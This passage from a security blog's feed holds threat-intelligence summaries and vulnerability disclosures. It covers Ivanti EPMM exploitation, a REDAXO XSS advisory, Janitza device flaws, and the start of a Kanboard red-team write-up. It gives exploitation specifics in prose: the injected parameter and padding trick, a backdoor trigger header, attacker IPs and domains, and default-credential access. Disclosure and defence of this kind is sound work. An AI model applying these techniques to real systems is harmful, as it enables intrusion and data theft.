&lt;p&gt;Researchers from Palo Alto &lt;a href=&quot;https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/&quot;&gt;reported&lt;/a&gt; that exploitation of CVE-2026-1281 and CVE-2026-1340 has been observed across various sectors in the United States, Germany, Australia, and Canada, including state and local government, healthcare, manufacturing, professional and legal services, and high technology. Threat actors are rapidly moving from initial reconnaissance to deploying dormant backdoors to maintain long-term access even after organizations apply patches, indicating a sophisticated and persistent threat.&lt;/p&gt;

&lt;p&gt;Specifically, Palo Alto Unit 42 has observed widespread and mostly automated exploitation attempts, including establishing reverse shells, installing web shells, conducting reconnaissance, and downloading malware. Attackers have been observed downloading a Nezha monitoring agent, an open-source server monitoring utility, with specific parameters to fetch from Gitee if the victim’s location is China. Reconnaissance attempts involve injecting “sleep” commands to determine server vulnerability, with a 5-second delay indicating successful RCE. Threat actors attempt to install lightweight JSP web shells (e.g., 401.jsp, 403.jsp, 1.jsp), which can grant administrative control if the web server runs as root.&lt;/p&gt;

&lt;p&gt;Observed exploitation attempts include downloading a second-stage payload (the /slt script) to install web shells, cryptominers, or persistent backdoors. Indicators of Compromise (IOCs) include various IP addresses, subdomains (e.g., gobygo[.]net, introo[.]sh, ngrok-free[.]app), and specific file paths for web shells (e.g., /mi/tomcat/webapps/mifs/401.jsp).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defused: Sleeper Shells: How Attackers Are Planting Dormant Backdoors in Ivanti EPMM&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A &lt;a href=&quot;https://defusedcyber.com/ivanti-epmm-sleeper-shells-403jsp&quot;&gt;blog post&lt;/a&gt; published by Defused also mentioned the deployment of web shell under the path /mifs/403.jsp. In this case, the payload contained Base64-encoded Java bytecode and worked as an in-memory class loader. To trigger the backdoor function, a specific HTTP header k0f53cf964d387 needs to be passed with the request, which will lead to the decoding and in-memory execution of the malicious payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Watchtowr: Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 &amp;amp; CVE-2026-1340)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Watchtowr &lt;a href=&quot;https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/&quot;&gt;published&lt;/a&gt; a technical deep-dive into the two vulnerabilities, which stem from improper handling of attacker-controlled input within Bash scripts used by Ivanti EPMM, specifically through arithmetic expansion in the map-appstore-url script. The temporary RPM patches modify Apache HTTPd configurations to replace vulnerable Bash scripts with newly compiled Java classes, specifically AFTUrlMapper.java and AppStoreUrlMapper.java.&lt;/p&gt;

&lt;p&gt;The vulnerable Bash scripts, map-appstore-url and map-aft-store-url, were previously invoked by Apache RewriteMap instances. The map-appstore-url script processes parameters from the URL path, including kid, st, et, and h, which are then used in Bash arithmetic expansions. The specific exploitation vector involves injecting a command substitution into the h parameter, which is subsequently referenced by gStartTime during an arithmetic expansion, leading to command execution. The st parameter in the exploit payload requires two padding spaces to bypass a string length validation check.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ivanti EPMM: Aktive Angriffe über Zero-Day Schwachstellen beobachtet&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The German Federal Office for Information Security (BSI) also &lt;a href=&quot;https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-221601-1032_bits.html&quot;&gt;warned&lt;/a&gt; about the two vulnerabilities and noted that active exploitation of the CVEs could have occured since at least summer 2025, with further exploitation by other cyber actors noted shortly after public disclosure on January 29, 2026. BSI also remarked that successful exploitation of these vulnerabilities can lead to the exfiltration of sensitive information, including personal data, device and location data, credentials, and cryptographic keys, as well as potential lateral movement within the connected network.&lt;/p&gt;

&lt;p&gt;BSI has confirmed that German organizations have been targeted by attackers exploiting these vulnerabilities, with the Shadowserver Foundation detecting over 20 compromised organizations in Germany alone. Compromised Ivanti EPMM appliances, including those that have reached End-of-Life (EoL), are likely to have been exploited, and operators should assume compromise even if they patched on the day of disclosure.&lt;/p&gt;

&lt;p&gt;Attackers have been observed deploying malicious files, such as webshells, in the root, /tmp, and /var/tmp directories, often with one or two-digit filenames and compressed with 7z/LZMA2 algorithms. A persistent webshell was established by attackers using the file favicon.png located at /var/www/ext/html/favicon.png. Observed post-exploitation activities include the use of specific IP addresses (e.g., 161.129.60[.]118, 151.177.78[.]0, 185.212.171[.]137, 185.212.171[.]151, 185.212.171[.]134, 185.212.171[.]156) and a faulty User-Agent Edg/143.0.0.1.&lt;/p&gt;

&lt;p&gt;BSI recommends that organizations monitor their entire network for suspicious data traffic or login attempts, not just systems directly connected to Ivanti EPMM, due to potential data exfiltration and lateral movement. BSI has rated the criticality of these vulnerabilities as 3/Orange, indicating that immediate action is required due to the potential for massive disruption to regular operations.&lt;/p&gt;

&lt;h3 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h3&gt;

&lt;p&gt;Organizations operating affected Ivanti EPMM instances should immediately apply the latest vendor patches if this has not already been done. Given confirmed in-the-wild exploitation and the likelihood of pre-patch compromise, organizations that updated their systems only after public disclosure should strongly consider conducting a structured compromise assessment.&lt;/p&gt;

&lt;p&gt;Guidance and technical indicators &lt;a href=&quot;https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-221601-1032.pdf?__blob=publicationFile&amp;amp;v=6&quot;&gt;published by the German Federal Office for Information Security (BSI)&lt;/a&gt;, as well as the detection script jointly provided by &lt;a href=&quot;https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US&quot;&gt;NCSC-NL and Ivanti&lt;/a&gt;, offer a valuable foundation for identifying potential indicators of compromise and validating system integrity.&lt;/p&gt;

&lt;p&gt;For organizations that require additional expertise or independent validation, &lt;a href=&quot;https://geschaeftskunden.telekom.de/business/loesungen/digitalisierung/cyber-security&quot;&gt;Telekom Security can support&lt;/a&gt; organizations with tailored compromise assessments, threat hunting activities, and incident response services to ensure potential persistence mechanisms or lateral movement activities are identified and contained.&lt;/p&gt;

&lt;h3 id=&quot;iocs&quot;&gt;IOCs&lt;/h3&gt;

&lt;p&gt;IOCs can be found &lt;a href=&quot;https://github.com/telekom-security/malware_analysis/blob/main/iocs/Ivanti-CVE-2026-1281-Exploitation.csv&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Security Content for REDAXO</title>
    <link href="https://github.security.telekom.com/2025/11/redaxo-reflected-xss.html"/>
    <id>https://github.security.telekom.com/2025/11/redaxo-reflected-xss.html</id>
    <updated>2025-11-25T00:00:00+00:00</updated>
    <summary type="html">A reflected Cross-Site Scripting vulnerability (CVE-2025-66026) has been identified in the REDAXO Mediapool component. The issue allows arbitrary JavaScript execution in the backend when a user visits a specially crafted link while authenticated.</summary>
    <content type="html">&lt;p&gt;A reflected Cross-Site Scripting vulnerability (CVE-2025-66026) has been identified in the REDAXO Mediapool component. The issue allows arbitrary JavaScript execution in the backend when a user visits a specially crafted link while authenticated. &lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; REDAXO CMS&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; &amp;lt;= 5.20.0&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Fixed Version:&lt;/strong&gt; 5.20.1&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Reflected Cross-Site Scripting (CWE-79)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Moderate&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://redaxo.org/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2025-66026&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;technical-summary&quot;&gt;Technical Summary&lt;/h3&gt;

&lt;p&gt;In the Mediapool view, the request parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;args[types]&lt;/code&gt; is injected into an information banner without proper HTML escaping.&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;This vulnerability enables JavaScript execution in the backend context of an authenticated user, potentially allowing session hijacking and unauthorized administrative actions.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/redaxo/redaxo/security/advisories/GHSA-x6vr-q3vf-vqgq&quot;&gt;Github Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2025-11-11:&lt;/strong&gt; Vulnerability reported to the vendor via GitHub.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-11-25:&lt;/strong&gt; The vendor has published the GitHub advisory and released the fixed version.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-11-25:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Multiple vulnerabilities in Janitza UMG 96RM-E</title>
    <link href="https://github.security.telekom.com/2025/11/multiple-vulnerabilities-in-janitza-umg96rm-e.html"/>
    <id>https://github.security.telekom.com/2025/11/multiple-vulnerabilities-in-janitza-umg96rm-e.html</id>
    <updated>2025-11-04T00:00:00+00:00</updated>
    <summary type="html">Several vulnerabilities were discovered during testing of a Janitza UMG 96RM-E device.</summary>
    <content type="html">&lt;p&gt;Several vulnerabilities were discovered during testing of a Janitza UMG 96RM-E device.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; UMG 96RM-E (both 24V and 230V versions)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; firmware versions below 3.14&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) (CWE-78), Use of Hard-coded Credentials (CWE-798), Use of a Broken or Risky Cryptographic Algorithm (CWE-327) and Incorrect Permission Assignment for Critical Resource (CWE-732)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Critical&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://www.janitza.com/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Updated firmware available&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVEs:&lt;/strong&gt; CVE-2025-41709, CVE-2025-41710, CVE-2025-41711, CVE-2025-41712&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerabilities were discovered during testing a device of type UMG 96RM-E. These vulnerabilities in combination allow an unauthenticated remote attacker to fully compromise the system including remote code execution.&lt;/p&gt;

&lt;p&gt;It is strongly advised to update to the newest version. The vulnerabilities are fixed in version 3.14. In addition, such devices shall be operated in a closed network protected by a suitable firewall. Network access to the device should be limited to only enable necessary components to access it and protocols not necessary for the operation should be blocked.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41709-command-injection-via-modbus&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41709&quot;&gt;CVE-2025-41709&lt;/a&gt;: Command injection via Modbus&lt;/h3&gt;

&lt;p&gt;A high privileged remote attacker can perform a command injection via Modbus to gain read and write access on the affected device. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&quot;&gt;9.8&lt;/a&gt; and is rated CRITICAL.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41710-use-of-hard-coded-credentials&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41710&quot;&gt;CVE-2025-41710&lt;/a&gt;: Use of Hard-coded Credentials&lt;/h3&gt;

&lt;p&gt;An unauthenticated remote attacker may use hardcoded credentials to get access to the previously activated FTP Server with limited write privileges. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N&quot;&gt;5.3&lt;/a&gt; and is rated MEDIUM.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41711-use-of-firmware-images-to-extract-password-hashes-and-brute-force-plaintext-passwords&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41711&quot;&gt;CVE-2025-41711&lt;/a&gt;: Use of firmware images to extract password hashes and brute force plaintext passwords&lt;/h3&gt;

&lt;p&gt;An unauthenticated remote attacker can use firmware images to extract password hashes and brute force plaintext passwords of accounts with limited access. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N&quot;&gt;5.3&lt;/a&gt; and is rated MEDIUM.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41712-incorrect-permission-assignment-on-the-device&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41712&quot;&gt;CVE-2025-41712&lt;/a&gt;: Incorrect Permission Assignment on the device&lt;/h3&gt;

&lt;p&gt;An unauthenticated remote attacker who tricks a user to upload a manipulated HTML file can get access to sensitive information on the device. This is a result of incorrect permission assignment for the web server. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N&quot;&gt;6.5&lt;/a&gt; and is rated MEDIUM.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://certvde.com/en/advisories/VDE-2025-079&quot;&gt;VDE-2025-079: Janitza: Multiple vulnerabilities in UMG 96RM-E&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41709&quot;&gt;CVE-2025-41709&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41710&quot;&gt;CVE-2025-41710&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41711&quot;&gt;CVE-2025-41711&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41712&quot;&gt;CVE-2025-41712&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://janitza.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-079.json&quot;&gt;Vendor Security Advisory in CSAF format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Pascal Dengler (&lt;a href=&quot;mailto:pascal.dengler@telekom.de&quot;&gt;pascal.dengler@telekom.de&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Jan Stohner (&lt;a href=&quot;mailto:jan.stohner@telekom.de&quot;&gt;jan.stohner@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Multiple vulnerabilities in Kanboard (Exploiting web applications Part II)</title>
    <link href="https://github.security.telekom.com/2025/06/multiple-vulnerabilities-in-kanboard.html"/>
    <id>https://github.security.telekom.com/2025/06/multiple-vulnerabilities-in-kanboard.html</id>
    <updated>2025-06-03T00:00:00+00:00</updated>
    <summary type="html">This article is a continuation of a write-up series, where we discuss web application vulnerabilities found during red team operations. This time, the target was the Kanboard software.</summary>
    <content type="html">&lt;p&gt;This article is a continuation of a write-up series, where we discuss web application vulnerabilities found during red team operations. This time, the target was the Kanboard software. &lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;project-management-in-kanboard-style&quot;&gt;Project Management in Kanboard style&lt;/h3&gt;

&lt;p&gt;With over 8000 stars on GitHub, &lt;a href=&quot;https://github.com/kanboard/kanboard&quot;&gt;Kanboard&lt;/a&gt; is one of the most popular applications for organizing projects following the Kanban approach.&lt;/p&gt;

&lt;p&gt;During one of our red team assessments, we discovered that our client self-hosts an instance of Kanboard.
Since it is open-source, we decided to hunt for vulnerabilities by reading the source code and penetration testing in parallel.&lt;/p&gt;

&lt;p&gt;So, it all started with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt;. We used the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ack&lt;/code&gt; tool as an in place grep replacement, which helped us find interesting code sections. Browsing through the code leaves the first impression that it is well structured and cleanly written.&lt;/p&gt;

&lt;h4 id=&quot;initial-access-and-juicy-features&quot;&gt;Initial access and juicy features&lt;/h4&gt;

&lt;p&gt;But first, let’s switch to the customer instance again - not having said yet that the good old &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin:admin&lt;/code&gt; credential set helped us out once again :)
We could successfully authenticate as the administrator and thus open us various possibilities to potentially exploit application functionalities.&lt;/p&gt;

&lt;p&gt;Having administrative access to the Kanboard instance also gives us lots of interesting information about the target’s project details including network and system configurations. But can we abuse the server?
We browse through different projects, boards, comments, item details and uploaded attachments.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kanboard/download-database.png&quot; alt=&quot;Download Database&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One interesting feature of Kanboard is allowing administrators to download the complete SQLite database as a gzip file or upload it to update the database.
So we did this: a surprise backup of our target instance.
We decompress the downloaded file by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gzip -d db.sqlite.gz&lt;/code&gt; and open it with an SQLite browser.&lt;/p&gt;

&lt;p&gt;We can see the raw data of projects, comments, etc.
Especially the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;project_has_files&lt;/code&gt; table holds our attention, as it stores relative file paths of uploaded files.
So we switched to the source code repository and looked through the source code, to determine how the the filepaths are read and used within the application.&lt;/p&gt;

&lt;h5 id=&quot;write-and-delete-files---but-what-about-reading-them&quot;&gt;Write and delete files - but what about reading them?&lt;/h5&gt;

&lt;p&gt;In the web UI, we see that uploaded files can be downloaded through URLs like this: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com/project/1/file/1/download/&amp;lt;hash&amp;gt;&lt;/code&gt;.
So searching through the code base for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/download&lt;/code&gt; points us to the underlying PHP class that is responsible for serving files: the &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Controller/FileViewerController.php&quot;&gt;FileViewerController&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;s2&quot;&gt;&quot;/download&quot;&lt;/span&gt;
ServiceProvider/RouteProvider.php
77:  &lt;span class=&quot;nv&quot;&gt;$container&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;route&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;-&amp;gt;addRoute&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;project/:project_id/file/:file_id/download/:etag&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;FileViewerController&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;download&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
148: &lt;span class=&quot;nv&quot;&gt;$container&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;route&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;-&amp;gt;addRoute&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;task/:task_id/file/:file_id/download/:etag&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;FileViewerController&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;download&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The below &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;download()&lt;/code&gt; function of the &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Controller/FileViewerController.php#L152&quot;&gt;FileViewerController.php&lt;/a&gt; looks very simple. But what exactly do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;getFile();&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;objectStorage-&amp;gt;output($file[&apos;path&apos;]);&lt;/code&gt; do?&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;download&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;withFileDownload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectStorage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;path&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ObjectStorageException&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;getFile()&lt;/code&gt; is a call to the super class of &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Controller/BaseController.php#L93&quot;&gt;BaseController&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$project_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getIntegerParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;project_id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$task_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getIntegerParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;task_id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
